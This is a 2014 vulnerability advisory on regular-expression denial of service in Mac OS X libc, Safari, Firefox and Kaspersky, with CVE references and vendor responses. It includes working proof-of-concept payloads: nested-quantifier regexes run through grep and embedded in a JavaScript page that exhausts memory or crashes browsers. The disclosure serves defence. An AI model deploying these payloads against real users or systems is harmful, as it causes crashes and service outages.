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OS X / Safari / Firefox REGEX Denial Of Service

OS X / Safari / Firefox REGEX Denial Of Service
Posted Mar 14, 2014
Authored by Maksymilian Arciemowicz | Site cxsecurity.com

Mac OS X, Safari, Firefox and Kaspersky all suffer from a regular expression denial of service condition that was discovered long ago in regcomp().

tags | exploit, denial of service
systems | apple, osx
advisories | CVE-2010-4051, CVE-2010-4052, CVE-2011-3336
SHA-256 | 8d9bccde42a49a51d60d66232f596249d63d2b6443263209bcfa4a6ea5ad5d2f

OS X / Safari / Firefox REGEX Denial Of Service

Change Mirror Download
MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service
http://cxsecurity.com/


---- 0. Where is the problem? ----
Some time ago I have reported vulnerabilities in regcomp() in BSD
implementation (CVE-2011-3336) and GNU libc implementation (CVE-2010-4051
CVE-2010-4052).
Now is the time for MacOSX and other software and It seems that the problem
is still in their implementations.


--- MacOSX 10.9.2 libc PoC ---
0:kozak6 cx$ ls |grep -E
'((.*)(((((((((((((((((((((((((((((((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))'
grep(715,0x7fff746ed310) malloc: *** mach_vm_map(size=18446744071973109760)
failed (error code=3)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug
grep: out of memory
--- MacOSX 10.9.2 libc PoC ---


Recursion in Apple regcomp/libc() can lead to consumption, exhaustion, etc.
(CWE-399)
The same problem occurs in javascript regexp implementation on Safari and
Firefox.
In Kaspersky 14.0.0.4651(e) CPU Exhaustion has been observed.


Verified;
- Safari 7.0.2 (9537.74.9)
MacOSX 10.9.2 Memory exhaustion (unpatched CVE-2011-3336)
Phone 4S, iOS 7.0.6 Crash

- Firefox 27.0.1
Windows: Crash
http://cert.cx/regexp-smaczki/regcomp2.png
http://cert.cx/regexp-smaczki/visual4.png
http://cert.cx/regexp-smaczki/visual3.png

MacOSX: Memory exhaustion

- Kaspersky 14.0.0.4651(e)
CPU Exhaustion and can't restart kaspersky again
http://cert.cx/regexp-smaczki/kaspersky.jpg


We don't know full list of affected vendors. Anyway javascript PoC
avaliable here

http://cert.cx/regexp-smaczki/regex.html

--- JavaScript PoC ---
<HTML>
<HEAD>
<TITLE>Firefox 27.0.1 and Safari 7.0.2 (9537.74.9)</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF">
<SCRIPT type="text/javascript">
var patt1=new
RegExp("((.*)(((((((((((((((((((((((((((((((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))");
document.write(patt1.exec("peace"));
</SCRIPT>
</BODY>
</HTML>
--- JavaScript PoC ---


On Safari and Firefox under MacOSX this script will consume excessive
memory. Windows version has allocated 3,8GB and crash


----------------------------
int readChecked(unsigned negativePositionOffest)
{
if (pos < negativePositionOffest)
CRASH();
unsigned p = pos - negativePositionOffest;
ASSERT(p < length);
return input[p];
}
----------------------------


Firefox don't support 64 bits version for windows and only 4gb can be
allocated to cause CRASH().

The most interesting is CPU Exhaustion observed in avp.exe process. Many
requests to website where RegEx()/javascript code is located cause
exhaustion of one cpu core. Closing and restarting Kaspersky is impossible.

The situation with regexp security is not declared. Many vendors think that
regcomp() should be secure by default but are also others opinions

https://bugzilla.redhat.com/show_bug.cgi?id=645859
---
Red Hat does not consider crash of client application, using regcomp()
or regexec() routines on untrusted input without preliminary checking
the input for the sanity, to be a security issue (the described deficiency
implies and is a known limitation of the glibc regular expression engine
implementation). The expressions can be modified to avoid quantification
nesting, or program modified to limit size of input passed to regular
expression engine. We do not currently plan to fix these flaws. If more
information becomes available at a future date, we may revisit these issues.
---

and try compare with ZABIX statement

https://support.zabbix.com/browse/ZBX-4625

---
It shouldn't be fixed in Zabbix. That's something to be addressed by glibc
maintainers.
---

In January 2014 Juniper has officially patched CVE-2010-4051 and
CVE-2010-4052 in own products.

http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10612.

MacOSX libc in 10.9.2 is still vulnerable for CVE-2011-3336.

0:log cx$ ls |grep -E '(.?)((((.*){1,100}){1,100}){1,100}){1,100}'

It shows how many varieties of regular expression we have and how hard it
is to keep a single standard.


--- 1. Credit ---
Maksymilian Arciemowicz
http://cxsecurity.com/


--- 2. References ---
http://cxsecurity.com/issue/WLB-2011010121
http://cxsecurity.com/issue/WLB-2011110082
http://cxsecurity.com/cveshow/CVE-2010-4051
http://cxsecurity.com/cveshow/CVE-2010-4052
http://www.kb.cert.org/vuls/id/912279
http://cxsecurity.com/cveshow/CVE-2011-3336
http://cxsecurity.com/
http://cert.cx/regexp-smaczki/regcomp2.png
http://cert.cx/regexp-smaczki/visual4.png
http://cert.cx/regexp-smaczki/visual3.png
http://cert.cx/regexp-smaczki/kaspersky.jpg
https://bugzilla.redhat.com/show_bug.cgi?id=645859
https://support.zabbix.com/browse/ZBX-4625
http://cert.cx/regexp-smaczki/regex.html
https://devilteam.pl/kaspkersky.html
https://devilteam.pl/


Best regards,
CXSEC TEAM
http://cxsec.org/
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